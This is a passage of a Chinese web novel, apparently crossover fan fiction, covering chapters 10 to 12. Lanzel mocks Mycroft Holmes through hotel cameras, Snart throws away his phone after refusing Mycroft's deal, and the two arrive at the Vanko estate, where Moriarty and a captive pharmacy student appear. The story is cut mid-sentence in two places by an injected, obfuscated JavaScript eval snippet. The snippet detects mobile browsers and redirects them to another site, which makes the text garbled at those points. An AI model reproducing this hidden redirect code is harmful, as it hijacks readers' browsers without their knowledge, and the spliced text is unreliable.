斯奈特拖着大包小包,显然刚在套房扫荡完。他面露警惕:“等等,不是你昨晚说的那个什么麦考夫吧?!他怎么知道你在这儿的??我们是不是——” “冷静。”兰泽尔右臂搁在柜台上,看着塑料袋,“我喜欢阿波罗evo,有时候他也会帮我蹲有没有二手车出售。也许就是因为这个,他才注意到有一辆阿波罗最近才转手,顺藤摸瓜发现我们的吧。” “不是什么大问题。他打不过我。不会现在就找上门。” 兰泽尔终于伸手拆开塑料袋,从里面摸出几盒力蜚能—多糖铁复合物胶囊和金施尔康,轻啧了一下嘴,完全不真心、甚至还有点愉悦地骂了一句“多管闲事”,而后抬头扫了一圈酒店的天花板。 “?”斯奈特正盯着药琢磨“难道兰泽尔真有病?”“这麦考夫看起来好像也不是太糟糕”,见状下意识地跟着抬头,“你在找什么?” 兰泽尔的目光终于锁定了大堂的监控镜头,冲着监控努努嘴:“那个。” “?”斯奈特顺着指引望过去。 下一秒,大堂四方的监控同时转动,黑洞洞的镜头直冲向他们。 斯奈特:“……” 拜托别告诉他这是那个麦考夫做的。拜托别告诉他这是那个麦考夫做的。 ……兰泽尔怎么还在笑呢??这有什么好愉快的!这不变态吗?? 兰泽尔不觉得变态,只是有些惋惜刚拿回手的阿波罗不能再开了。 麦考夫已经知道了这辆车在他手上,后续肯定会继续追踪这辆车的行踪。他既不想改造自己美丽的老婆,也不想就此放弃配偶权,只能最后不舍地看了眼车钥匙,重新看向前台经理:“谢谢帮忙转交东西——顺便一提,你能替我也给他转交一样东西吗?” 只要钱到位,什么都好说。已经开始琢磨去哪养老的前台经理无比热心地说:“当然!是回礼吗?” “?”正将车钥匙放上桌,准备推给前台经理,只是想让麦考夫帮忙养老婆的兰泽尔顿了一下,视线瞥过手边的药袋子,微微挑了一下眉。 某位文官平时大门不出二门不迈,现在却得在训练场上挥洒汗水、备受折磨,还要抽出时间来视.奸他,想想确实也是蛮辛苦的。 他随意四下看了一圈,视线在扫见柜台边的冈本专卖柜后停住,脸上顿时绽开一个兼具恶趣味和无辜的笑容。他伸手在那几排花花绿绿的安.全套盒子上滑过,最终挑出一盒亮橙色的。拿起来后,他特意抬起头,对着镜头侧过脸亲吻了一下塑料盒,才转回视线,将车钥匙和安.全套一并丢到柜台上: “把这个寄给他。” 他没法用的车钥匙,和麦考夫没法用的安全套,怎么不算是一种绝配呢? 冲着监控镜头最后挑衅地假笑了一下,兰泽尔伸手一把揽住斯奈特的肩膀:“走!” 目睹完这一切,感觉自己是不是被卷入了一段不怎么健康的基佬关系中的斯奈特:“……” 10. 第 10 章 隔着屏幕。 英国皇家特训营,麦考夫的别墅内。 “哇哦。”康斯塔丁盯着屏幕说。 半晌,他重复:“哇哦。” “他是在跟你调情吗?为什么他会跟你调情?” 在经历过福尔摩斯那么过分的对待后,这个神明居然还在跟福尔摩斯眉目传情,怎么这种好事就没在他身上发生过? 所有被他坑过一次的家伙,第二次见面都对他喊打喊杀的,好像他有多过分一样。但今天终于分明了。有问题的不是他约翰·康斯坦丁,是那群家伙的心胸太狭隘! 康斯坦丁如此理直气壮地想,麦考夫却完全没有康斯坦丁这样的好心情。 他一下从床上翻身而起,推开正替他做肌肉松解的理疗师,敲下电脑的快退键,仿佛几秒前还趴在床上、被训练蹂躏成趴菜的人不是他一样:“安茜娅。查到寒冷队长现在用的手机号码是多少了没?” 电脑屏幕上的画面迅速倒退,最终被麦考夫定格在其中一帧上。 八个监控画面将屏幕分隔成九宫格。麦考夫放大其中一个,以这个监控镜头的角度,恰好能拍摄下兰泽尔指尖划过那些套盒时的,脸上细微的神情。 亢奋、迷幻、高涨的欲望……类似瘾君子发作时的神情在镜头中的人脸上晕开,构成了康斯坦丁眼中极具诱惑意味的画面。 “先生。”安茜娅迅速报出一串数字。 麦考夫抬手阻止想继续工作的理疗师干扰自己,摸出手机坐到一边,原本习惯性地想要拨打电话,下一秒指尖一顿,抬头看了眼镜头中仍在和寒冷队长勾肩搭背的兰泽尔,转而切换到短信页面: 【回拨这个号码。等到兰泽尔不在你身边的时候。——M.H】 “?”看监控看得都忘记放下怀里抱着的文件的康斯坦丁嘿笑,“干什么,打算避开兰泽尔□□?” 麦考夫瞥了眼康斯坦丁,收回一时半会不可能有回应的手机,答非所问:“你找到那个同伙了?” 康斯坦丁遗憾了一秒现在的人怎么都如此冷漠,奉献出自己给大家八卦一下怎么了,顺手将怀里的笔录抽出来,丢到麦考夫面前: “我已经把这堆东西——还有你们发给我的监控看了无数遍,没在里面找到熟人的影子。我觉得,那个同伙如果真的有折返过现场,或者在篡改的记忆里故意掺入过自己的形象,那也许我没能找出祂的原因,是祂穿了皮囊。” “皮囊?”麦考夫不是很明白这个名词。 “?”康斯坦丁顿了一下,有些纳闷于福尔摩斯都能查到净化堕神的仪式,怎么会不知道皮囊是什么,“天使、恶魔、神明……大部分强大的存在想在人间行走,都需要人类的身躯当容器。一般情况下,这些容器会被称为‘皮囊’。” “比起神明,天使和恶魔寻找皮囊的规矩可能还更多点……比如,不论是天使还是恶魔,哪怕牛逼如米迦勒、路西法,他们占领人类躯壳前,都需要先经过当事人的同意——虽然大部分情况下,被询问的对象都已经被逼到了绝境,没有拒绝的机会。” 麦考夫听到一半,肩膀被人从身后拍了拍。 不是很甘愿地回头,就对上理疗师“能不能搞快点,我还得下班陪老婆孩子”的眼神:“……” 他只能怀揣着上牙科治疗椅的心情,不甘不愿地趴回理疗床:“继续——” “说”字没能说出口。 理疗师的筋膜放松滚轴在他的小腿肚子上一滚,麦考夫霎时疼得三魂丢掉了两魂,抓着床铺的手迸起青筋。 康斯坦丁感同身受地呲牙嘶了口气:“如果真是这样,那想找到那个同伙就难了。皮囊对于这类存在来说就跟衣服似的,随时可以更换——但,幸运的是。” 康斯坦丁伸手,从笔录中抽出其中一张:“我比对了笔录和监控,在其中找到了一个既出现在监控中,也出现在了笔录中的家伙。” 麦考夫都不知道自己是怎么睁开眼睛的,满脑子想得都是运动果然是世上最糟糕的活动。他竭力维持住体面,视线飞速往笔录上一扫: 【我记得他个子不高,大概……一米七几的样子?有一个非常英式的鼻子,卷发,脸上带着一种看戏似的神情——你看过《复联》吧?第一部的《复联》?洛基在走进宴会大厅,抠那个倒霉蛋的眼睛前,不是有一段站在楼梯上往下看蝼蚁的神情吗?就跟那一模一样。……呃,抱歉我是个漫威粉。】 康斯坦丁又从怀中掏出一张打印出的截图,拍到麦考夫面前:“看见没?矮个子,鹰钩鼻,卷发。他其实长得不错,我敢打赌他要是蓄点胡子拍硬照,应该会比现在这样有风韵的多——但重点是,完全能对得上。” 麦考夫很希望自己此时能开口,吩咐安茜娅去查找此人的资料,但说实话保持安静已经耗费掉他全部的自制力了。他只能憋着呼吸,继续听康斯坦丁掌握对话的主导权。 “我想了很多种可能性。也许祂是个变形怪?但变形怪只能变换自己的容貌,没法篡改别人的记忆。” “也许祂是个天使?天使和恶魔都能随意篡改记忆或者监控,或者在不同的皮囊间住来住去。但正常情况下,天使没有这样的恶趣味,祂们更像是……一辆全副武装的坦克。你懂我什么意思吗?祂们冷漠……残忍,没有共情的能力,下杀手不会有任何犹豫。” 终于,理疗师放过了快活生生把自己憋晕的麦考夫。 滚轴从腿上挪走的瞬间,麦考夫就猛喘了口气,就像从牙科治疗床上逃下来那样翻身而起:“听起来真正的天使更倾向于《圣经》所描述的形象?” 康斯坦丁耸耸肩:“没错。一群冷血的战士。相比之下,我觉得祂是恶魔的可能性最大——恶趣味,有随心所欲的能力,只要符合自己的利益,偶尔会帮人的忙。” “神明呢?”麦考夫没有漏掉任何可能,“兰泽尔是个神明,也许他的旧识也是。你说过神明也可以占据皮囊——” “对,但一般情况下,真实世界里的神明只会在自己的职权范围内下手。就像处女神只会惩罚破誓的处女,大部分异教神甚至只在乎自己的肚子有没有填饱——” “这个目击证人说的洛基呢?”麦考夫点了点笔录,“北欧的恶作剧之神,现实中祂也存在吗?” 康斯坦丁惋惜地说:“我也想到了这点。但打探了一下,你猜怎么着?几个月前,这倒霉蛋跟自己的大哥和父亲起争执,结果因为家庭暴力直接翘辫子了。” “你听过那个故事吧?洛基因为恶作剧惹怒了众神,被判囚禁挪威的洞穴中,一条毒蛇一天二十四小时往他流毒液作为惩罚……祂被毒死了。” 麦考夫:“……” 开玩笑呢吧? 当他以为希腊北欧神话已经很荒唐的时候,康斯坦丁告诉他现实还能更荒唐? “总之,我打算顺着这个推测接着查下去了。”康斯坦丁从椅子上站起身,临出门前又顿住脚步,“嘿!我还挺喜欢你那个前男友的。如果有一天你们分手了,记得介绍给——” “Go.”麦考夫头也不抬地指向门外,虽然没直接说滚,但这句请离开也跟滚没多大差别。 康斯坦丁撇撇嘴,头也不回地走了。 他出门的第一时间,麦考夫就立即丢开文件,接通安茜娅的电话:“让人调查康斯坦丁查出的这个皮囊的过往,他的性格、生活环境、癖好……不管芯子是什么,祂挑选皮囊一定有自己的偏好,试着给祂做侧写。” “是的,先生。”安茜娅接着问,“还有关于兰泽尔的职衔和工位,人事部希望知道您已经给他下了绿色通缉令,MI5这里是否要撤销他的工——” “不!”麦考夫回答这句的语调都比平日略高点,好像安茜娅问了什么愚蠢的问题,然而任何正常人都不会觉得安茜娅问的有哪点不对,“他会回来的。我会带他回来。” 电话另一头的安茜娅:“……” 行了,她现在是真觉得顶头上司在公器私用谈恋爱了。把一个来历不明的人塞进MI5,又在通缉对方后非得保留对方的工作,除了恋爱脑还能怎么解释这一系列行动? 安茜娅维持着礼貌:“是的,先生。还有其他任务需要我做吗?” “情报部复原出兰泽尔的网络浏览痕迹了没?”麦考夫没有意外地得到了否定的回答,“他离开前,他那个同伙肯定帮忙处理过这些……联系康斯坦丁和情报部合作。还有那些停在珠宝点前的车辆,尽快运来特训营。” 安茜娅很想提醒麦考夫,距离兰泽尔假死其实也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185143|197001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就过去了不到24小时,即使网络痕迹能迅速复原,但几十台车辆从美国大老远地运来英国,也是需要不少手续和时间的。 但张开嘴,她回答的还是:“是的,先生。还有别的事吗?” 麦考夫习惯性地往窗边沙发上一靠,屁股挨上坐垫的瞬间又感受到身上黏腻的汗水,立即条件反射地站起来,因为腿部肌肉的抽痛闭眼缓了一会: “……去处理掉监控中兰泽尔穿的那身西装和芬达石袖口的购买记录,国际刑警也许会借这个追查到他信息。” 安茜娅:“……” 国际刑警只是想认真工作,他们又做错了什么呢:“是的,先生。还有别的事吗?” 缓过气来的麦考夫的确想起了别的事,他切断跟安茜娅的连线,生平头一次这么频繁地联系家人:“……妈妈?对……我知道昨天是我冲动了。听我说,我们农庄的草棚里还有空位吗?过几天可能有一辆新阿波罗evo会送过去……” 试图从零碎的信息中拼凑出大儿子恋情近况、但真的拼不出正常剧情来的老福尔摩斯夫人:“……瓦特?” ——与此同时,意大利那不勒斯港口停靠的范科家族私人游轮上。 兰泽尔一进舱房,就跟进了新地盘、格外兴奋的比格一样在房间里卷了一遍,就连好好挂在舷窗边的装饰性窗帘都被他折腾得一团糟。 跟在他身后进门的斯奈特费劲地放下满手拎的大包小包,才看了一眼刚把自己投上床的他,就没忍住开口:“你的脸色看起来真的很糟糕,你感觉还好吗?之前那些药你不吃吗?” 兰泽尔说不清自己觉得好不好,轻微的眩晕感让他觉得自己像喝醉酒一样有些飘飘然,在床上躺了一会,他才咸鱼翻了个身,将塑料袋扯开,掏出药片干吞了下去,接着翻回去躺尸。 其实如果不是当下的状态太虚弱,不吃药真的可能翘辫子,兰泽尔还挺喜欢这种晕乎乎的状态的。这会让他感觉整个世界都离他很远……没有什么危机追在他身后驱赶着他,没有过往记忆冷不丁地跳出来,破坏他的好心情。 “……你真的没事吗?”斯奈特皱着眉头靠近兰泽尔,在心里对自己说‘我这是不想救回丽莎的关键半途翘辫子’,“你需不需要吃点——” 兰泽尔闭着眼睛,手胡乱挥了一下,抓到一个抱枕砸开斯奈特。 “……”斯奈特稳稳接住抱枕,盯着脸色白得快跟身下的床单融为一体的兰泽尔看了半晌,到底还是没能把“我在酒店垃圾桶里看到一大堆沾着血的纸巾”问出口。 他不觉得兰泽尔会回答这个问题:“我去趟卫生间。” “……”兰泽尔一动不动地躺在床上,神情飘飘然地好像刚刚他吞的不是补血药,而是什么违禁品。 斯奈特无计可施地摇摇头,还是摸出手机,走出舱房。 他找了个空房的卫生间,将自己关进去。正准备打开手机,跟中心城的同伴联系一下,确认那帮麻烦制造者没有给他增添多余的负担,屏幕刚一摁亮,就见一条来自陌生号码的短信跳出来: 【回拨这个号码。等到兰泽尔不在你身边的时候。——M.H】 “……”斯奈特坐在马桶上,动作霎时静止。 M.H? ……兰泽尔的前男友是怎么知道他的手机号的?他亲自编写了号码的反追踪程序,据他所知,这世上能攻破他程序的黑客要么在积极热情地投身超英或超反事业,要么正隐居于某个皮包公司内当小职员,剩下的那一个供职于MI6,兰泽尔的前男友能接触到哪一个? 站在酒店大堂,被监控镜头聚焦时的不适感再度翻上心头。 斯奈特豁然起身,大步走上甲板,刚准备把不能再用的手机扔进海里,手臂举起,却又停住。 他犹豫了。 他得承认,这一切……兰泽尔的神秘,兰泽尔所带来的危险,让他越发好奇。 他无比想知道兰泽尔的过去,想知道酒店里那些染血的纸巾是怎么回事?兰泽尔到底是什么?兰泽尔的前男友会知道这一切的答案吗? 斯奈特举着手机,望着旷阔的第勒尼安海面上翻涌的波浪。 半晌,他缓缓放下手,指尖一划,拨通了电话:“……下午好。是麦考夫先生吗?” 11. 第 11 章 英国,特训营。 麦考夫抬手拧关了花洒,单臂撑着墙,在任何威胁或打探脱口而出前,先问的是:“他吃药了吗?” “……什么?”斯奈特莫名感受到一种不安,回头看了眼船舱入口的方向,确认没人靠近,才道,“我还以为你会让我离兰泽尔远点呢,为什么你这么关心兰泽尔吃没吃药?……你在药里加了东西?” 大概是见过的便宜妹夫太多,斯奈特几乎下意识地想到最差的可能性,脚步顿时迈向船舱的方向。 “不。”即使麦考夫因为斯奈特隐隐质问、好像兰泽尔和对方站在一起,自己才是外人的语气感到不悦,但他必须承认,兰泽尔这时候身边有其他人的确让他松了口气,“相信我……伦纳德·斯奈特先生。如果兰泽尔到现在还没吃药,比起他,你会更想关心自己能否活着走下范科家族的游轮。” “更准确的说,应该是当游轮重新靠岸时,除了兰泽尔以外,还有没有其他人能活着走下那艘游轮。” “……”斯奈特的步伐定住了,“这话是什么意思?你是说兰泽尔如果不吃药,就可能杀死船上的所有人?” “并不一定。但你一定不会想知道当兰泽尔处于虚弱状态下时会发生什么。” 麦考夫并不想将情报说得太清楚,以防斯奈特转而利用情报对付兰泽尔。寒冷队长又不是什么做慈善的大圣人,更何况珠宝店绑架本身也算是结仇:“我想说的是,斯奈特先生。我想向你提供一份邀约。” “只要你待在兰泽尔身边时,愿意……三不五时地和我分享兰泽尔的现况,确保他处于健康状态,我个人愿意提供一份不菲的酬金给你。” “甚至可以向你保证,不论你和兰泽尔这次前往范科家族营救金色滑翔者的计划是否顺利,我都会确保你的妹妹安全回到你身边。” “……”海风中,斯奈特的神情凝固住了,脸上的神情像覆盖着一层寒冰。 “你在威胁我吗,M.H先生?威胁我替你办事,恐吓我离开兰泽尔?那你就错了。” 斯奈特一字一顿地说:“我·从不·接受·威胁。” 不再等麦考夫开口,斯奈特掐断了通话。下一秒猛然扬起手臂,将手机远远丢进了海里。 海鸥划过碧空,发出嘹亮的鸣叫。 手机在空中划出一道弧线,几秒后便“噗通”落进海里。 甲板下。 兰泽尔环臂抱胸斜倚在舱门后,一边把玩着指尖的银币,一边十分愉悦地哼着不成调的小曲。 他当然感到开心。 即使他欺骗离开,麦考夫依然在关心他——虽然关心的方式一般人无法理解,某些时候他个人也不太喜欢。 而他新选的旅伴呢?现在也同样为了他,拒绝了一个绝佳的交易。 这是我应得的。兰泽尔深以为然的想。 夏洛克有他的花生医生,麦考夫有他的雷斯垂德探长,现在也该轮到我了。 哼着歌一路晃荡地回到舱房,足足过了五分钟,他才等到整理完情绪的斯奈特进门:“——想玩会扑克吗?” “呜——”游轮响了一声汽笛,驶出港口。 斯奈特站在门口虚捂了一下脸,一屁股坐到兰泽尔身边:“好吧。当然。管他呢。” 船已经开了,电话已经扔了,他总不至于现在跳海下去捡。 而且,现在他们的计划不也进行得很顺利?唯一剩下的一步,就只有跟着小范科一道回范科家族,等着小范科将丽莎自送上门。 扑克牌拆到一半,斯奈特忽然顿住:“……” ……等等。他是不是忘记给无赖帮打电话了? · 从那不勒斯到范科家族,船只在海面上航行了整整两天。 斯奈特在第一天傍晚就晕起了船,然而兰泽尔这个前脚还振振有词说着同伴对自己有多重要的家伙,当天晚上就抛下吐得快晕厥的斯奈特,跑去宴会厅自告奋勇地张罗起了宴会。 第一个晚上,兰泽尔以一人之力喝趴了除船长以外的所有人。 第二天傍晚下船时,就连水手都跟他称兄道弟,又是主动帮忙拎行李,又是使劲往两人的行李里塞了一堆麦芽威士忌。 “谢谢,谢谢。”兰泽尔架着斯奈特,真诚地跟热情的意大利人们道谢,走下扶梯后趁着左右无人,颠了斯奈特一下,压低声音,“差不多了吧?我把运气还你了,你现在应该可以自己走了。” “什么叫你把运……”斯奈特纳闷到一半,忽然发觉一直堵在胸口的作呕感不知何时消散了。 再结合自己以前根本没晕过船,以及先前出借运气时倒霉,他猛地清醒过来:“——你是用我的运气跟人家拼酒的?!我就说之前那晚我们俩品酒,你的酒量也没比我好多少,怎么突然就能喝倒一船的人了!” 斯奈特被气得眼前一阵发黑,然而邪恶黑猫只是无辜摊手:“我做这些都是为了你啊!不打好和大家的关系,难道来了家族驻地,就真天天关在酒厂里酿酒了?” “你撒谎。”斯奈特一把攥住兰泽尔的衣领扯近,磨牙切齿,“你就是嘴馋想喝那一大堆名酒了,别以为我不知道。你——” 这个混账?没良心的家伙? 兰泽尔没能从斯奈特口中成功得到盛情赞誉,对方话说到一半就顿住了,视线似乎越过他的肩膀,看到了什么不太阳间的东西:“怎么了?继续说完啊。” “不,等等。”斯奈特捏住他的下巴,将他的脑袋转向后方,“这些都是什么?这些……站在港口的东西?” “?”兰泽尔顺着斯奈特的力道回头,就见通向远方古堡式建筑的草坪上,无数道身着黑色西装的身影静默无声地矗立着,面朝同一个方向。如果仔细观察,就会发觉祂们没有呼吸,风吹过也掀不动祂们的衣摆。 兰泽尔干砸了下嘴:“你能看见祂们?看来我之前的确是压榨你压榨得有点过分——” “别答非所问!”斯奈特的声音和神情中透着一股来自生物本能的恐惧,他甚至没意识到自己正因恐惧将自己紧紧挤向兰泽尔,仿佛在无法抵挡的天灾之前,渺小的存在只要依偎得更紧点,就能侥幸生还似的,“祂们是什么?!刚刚有人从祂们身体里穿过去了!祂们不是人类??还有你说你压榨我压榨得有些过分是什么意思?” “祂们是死神。行了吗?”差点被挤个趔趄的兰泽尔攥着斯奈特的肩膀,将人从自己身上撕下来,“正常情况下,你只会在你死的前一刻看见祂们。但我抽走了你太多运气,用东方的话来说这叫什么?哦!你阳气不足,所以开天眼了。别紧张,祂们不重要。” “??”两天前才和死亡擦肩而过的斯奈特不觉得死神们不重要,如果不是还记挂着妹妹,他几乎想拽着兰泽尔当场跑路了,“为什么会有这么多死神杵在这儿?祂们不会在看见我后,发现之前没收走我,暴起而攻吗?” 兰泽尔完全没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185144|197001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法和斯奈特感同身受,在他漫长的寿岁中,死神这东西就跟你出门看到车一样稀松平常:“放松,死神收人都是有一套规范制度的。你以为之前在酒店,如果不是你替老范科挡死劫,死神会跑来找你?现在老范科死了,工作完成,祂们看都不会多看你一眼。” 斯奈特的心正要放下,迎面就看到几个附近的死神缓缓回头,对着他们投以凝视:“……喂。” 这不对啊。说好的看都不会多看一眼呢? “祂们在看我呢。”兰泽尔揽住斯奈特的肩膀,目不斜视地大步跟上前面的队伍,“大概是觉得我帅。” 几个回头的死神没有波澜的脸瞬间掀起了波澜: “你太高看自己了。我看你只是因为你看起来像是早就该死的人……” “等等,我查查文件。” “奇怪……我找不到他的死亡档案?” 兰泽尔都懒得跟这些小插曲打招呼,直接带着斯奈特穿过死神群,大步流星地追上前方一下船就突然归心似箭似的小范科。 斯奈特很难不频频回头:“祂们说的话是什么意思?等等,这里出现这么多死神,岂不意味着会有很多死人?怎么会!是火并夺权?还是地震震沉了整座私人岛屿?喂,兰泽尔!” 斯奈特的低声追问像风一样从兰泽尔的耳畔溜走了,他只是新奇地看着小范科径直走向草坪某张白色圆桌边坐着的身影:“莫里亚蒂……” 那个坐在桌边的男人并不高,还很瘦削。身上穿着一套奔丧的黑西装,内衬却是明亮的粉衬衫。 大概是为了弥补这点着装上的不严谨,他黑亮的头发特地用发胶仔细地梳至了脑后,但正跷在桌面上晃动的脚又弥补——或者说破坏了这点好不容易展露出的尊敬。 “我早该猜到的……”兰泽尔饶有兴致地打量圆桌边的莫里亚蒂,仿佛硕士生看到自己论文的研究对象正活生生地站在自己面前,“小范科的手机铃声跟莫里亚蒂的手机铃声一模一样,世上果然没那么多巧合。” “莫里亚蒂?那个‘英国的莫里亚蒂’、‘犯罪界的拿破仑’?”斯奈特终于收回了戒备死神的目光,显然即使在美国的超反界,莫里亚蒂也享有声誉,“等一下……我觉得我知道这是怎么回事了。” “老范科去世,小范科和戴蒙争权。莫里亚蒂肯定是小范科请来为自己出谋划策的,指不定他们正在密谋一场针对戴蒙的血洗!” 兰泽尔事不关己,高高挂起地耸耸肩:“那也跟我们没关系,不是吗?我们的目标只是在这儿等着,等你妹妹一上门,就带着她离开。至于其他的?” 老范科死不死,小范科跟不跟莫里亚蒂合作,血洗发不发生,都跟他们没有关系。 他说的一点没错。 小范科刚跟莫里亚蒂打上招呼,就有幕僚来找他们这两个与血洗计划无关的“技术人员”,将他们带离商谈现场,领向家族驻地的私人酒厂。 他们离开的很快,也就无从知晓走远之后,莫里亚蒂若有所思地望着兰泽尔的背影:“那两个是什么人?” 小范科其实不怎么想回答,毕竟好的酿酒师很难遇上,万一被莫里亚蒂要走了他也是会心疼的。但考虑到当下正是合作的关键节点,他还是含糊地答道:“顺带收罗回来的人。不重要。” “不重要?”莫里亚蒂的语气像觉得小范科的话很好笑似的,“但他让我感到……亢奋。这世上可没多少人能让我感到亢奋。” 12.第 12 章 莫里亚蒂的关注对兰泽尔来说并不重要。就算知道了,最多也就是嫌弃一句“自己去健身房找给佬玩儿,我的XP不是你这一款”。 此时此刻,他跟在幕僚身后走进酒厂,四下打量着的橡木桶和正在冒烟的蒸馏设备,听见前方的灰发幕僚带着几分矜持,不无自豪地介绍: “从希腊到苏联,产自各种地区、使用各种材质、保存了不同年数的橡木桶,都陈列在这儿。哦,我们还拥有目前市场上流通的、不流通的任何酿酒器械,都在这里面了。还有那儿——那是你们的员工宿舍。” 兰泽尔撩起眼皮打量了一眼跟临时搭建的救灾棚没啥两样的员工宿舍:“你认真的?条件这么恶劣?” 经过两晚的共处,原本对两个死基佬怎么看都不顺眼的灰发幕僚已经对兰泽尔另眼相待。 此时他笑着解释道:“你得知道,这世上绝大多数拥有高超技艺的天才,都没那么识时务。你还是第一个自愿跟我们酒厂合作的——” “哐!!” 员工宿舍里忽然传来一阵东西砸落在地的声响,紧跟着是一串咒骂和拳打脚踢声: “我给你提供吃的!给你提供穿的!你为什么学不会感恩呢,嗯?!” “为什么你不能配合一点,为我们彼此都省点力气,你乖乖去制糖,我和和气气给你分钱,这流程你到底是有哪点不满意?不满意分给你的钱吗?” 被殴打的人没有说话,只在粗喘,半晌狠狠啐了殴打者一口:“你可以用任何办法对付我,试试我会不会向你低头。” 说话人的声音青涩沙哑,听起来不过十八九岁的样子,或许还没成年:“我倒是很好奇,你踹断了我的腿,弄折了我的手指,还有什么别的招数能逼我屈服?弄瞎我的眼睛,杀死我?我不觉得命令你管理我的人会赞——” “咚!”拳头到肉的沉闷响声。 殴打者显然恼羞成怒了:“你这!婊娘养的玩意儿!你以为凭你的能耐能逃出去吗?!嗯?还是期待有谁能来救你呢?别以为我不知道,被关到这里之后,你把能喊的名字都喊过几轮了吧?你信仰的上帝来救你了吗?那个美国大都会的超人来救你了吗?” “你知道为什么没人搭理你吗?因为你什么也不是。明白吗?垃圾从楼顶丢下去,就能砸死好几个跟你一样的无名小卒。” “整个地球几十亿人,有几个在濒临绝境时能奇迹似的变成超级英雄?超级反派?剩下来的那些,都死了。尸体堆在地上,变成那些鼎鼎有名的大人物们的踏脚石。而你,我亲爱的朋友,你就是那堆尸体里的一员。” “这就是你的命运,明白吗?成为英雄们来不及从反派手底下救回的无辜群众,成为激发那些报刊故事的读者愤怒之情的一根薪柴。” “……”兰泽尔一直打量着未来工作环境的目光慢慢转了回来,下一秒,毫无预兆地骤然拔.出挂在灰发幕僚腰间的手枪,大步流星走进帐篷,对准扭打在一起的身影中正倾泻着谩骂的家伙: “乓!乓!乓!” 三声枪响,幕僚和斯奈特都被惊傻了,两秒过后才猛地反应过来,叫着“你在做什么”冲进帐篷。 不知道突然被抢枪的幕僚是什么心态,反正斯奈特已经神经紧绷得快反呕了。 他虽然很不满意折磨孩子的犯罪行径,但说到底他只是觉得这么做很没格调,而不是真心疼小孩受伤。相比于救下素昧平生的未成年,他更在乎自己妹妹的生死——万一就是因为兰泽尔这一冲动,整个计划崩盘了呢?他们都快成功了! 然而这些顾虑对兰泽尔来说都毫无意义。 他只是拿枪指着耳翼被流弹连续烧焦、软着腿坐在地上的莫西干头壮汉,大指轻轻又拨了一下转轮: “我不喜欢从你嘴里冒出的某些话,明白吗?上帝……奇迹……命运……如果未来我们要共享同一处员工宿舍,你最好先学会哪些词会激怒我。” 斯奈特半路一顿:“?” 关注点竟是这个吗?! 莫西干头终于反应过来,恼火地一把搡开地上的人,撑站起身:“你以为你是谁,敢跟我这么说话?”他上下打量了一下兰泽尔,“新来的酿酒师?让我告诉你,这份工作——是个一次性的活儿。你干完你的工作,没了利用价值,我负责送你上路——” “卢克。”灰发幕僚终于开口,然而出乎莫西干头意料的是,对方居然不站在自己这边,“有礼貌点。这位兰迪先生是我迄今为止见过的最优秀的酿酒大师。” “很多人终其一生也不过只能专精一种酒类,甚至是一种酒,但他?在船上的那两天里,他已经向我们证明了天才的确存在,还有什么叫做‘样样精通’。” 兰泽尔闻言迅速向一旁的斯奈特扬眉得意,那意思是:‘怎么样?没让你白晕船两天吧?’ 灰发幕僚继续道:“不会再有什么‘一次性的活儿’了,卢克。从今天起,我要你像尊敬我一样尊敬他们兄弟俩,听从他们的指挥。明天一早,我就会派人来重建这片……员工宿舍。” “什么?但那个臭小子——”莫西干头显然不甘愿。 灰发幕僚抬手打断:“看在兰迪先生的份上,让那孩子休息一晚。但明天早晨,如果他仍然不配合,我不认为我们有义务再供他衣食了。” 这话明显是在隐晦地敲打兰泽尔,这次是给你这个酿酒大师面子,但下一回,面子也没有必须要到手的利益好使。 “……”莫西干头憋了一肚子的抗议,直到幕僚离开,他才猛地一转身,恶狠狠地对兰泽尔道,“我不管你们有多少能耐,酒糖厂是我的地盘,我——” “起来吧。小鬼。”兰泽尔越过莫西干头,只当这玩意儿不存在。 他伸手把蜷缩在地上、脏得跟只灰麻袋似的倒霉蛋拽起来:“去找个地方洗洗你自己,我可不想跟跳蚤住一间房。” · 倒霉蛋拖着残腿洗澡的速度并不快,等这小子还完干净衣服出来,已经是晚上九点。 夜风贴着帐篷呜呜的吹,斯奈特挑着帘幕并不安心地望着古堡的方向:“祂们还站在那儿吗?我看不见祂们了。” “那就别看了。我还没见有谁这么积极想看见死神的。”兰泽尔拖了把躺椅坐在火堆边烤火,有些无语地转回视线,冲着洗干净了的学生仔点了点下巴,“聊聊你的故事吧。” “你看起来不像是忍饥挨打长大的,他们抓你来这儿的?为了什么?制‘糖’?为什么找你这种小屁孩来做这种东西?” “别叫我小屁孩,我十八了。”倔脾气的少年拿毛毯裹着自己,看脸还挺清秀一小伙儿,神情里仍带着防备,“你为什么帮我?” “你看起来不像是那种热心的人,教训完卢克,你可以转头就走的,为什么要为我得罪卢克?” 兰泽尔在躺椅上瘫得四仰八叉,耸耸肩说:“我还挺喜欢你的性格的。我可以这么说——如果今天你在那儿不是对着莫西干头吐唾沫,而是向他求饶,我不在乎你接下来会被他打断几条腿。但你没有求饶,对吧?你是个斗士。——我喜欢斗士。” “……”少年的表情显然是觉得兰泽尔很奇怪,甚至怀疑兰泽尔是不是个变态。 但最终他还是道。“我叫亚当·米利根。制药专业的。” “之前我跟范科家族没有任何交集,直到我的导师‘意外死亡’,一帮黑衣人把我抓到这里,我才知道我的导师一直在替他们的……‘糖厂’,干活。但因为继承人之间的明争暗斗,他被杀死了,临死前对范科家族推荐了我。” 兰泽尔:“……” 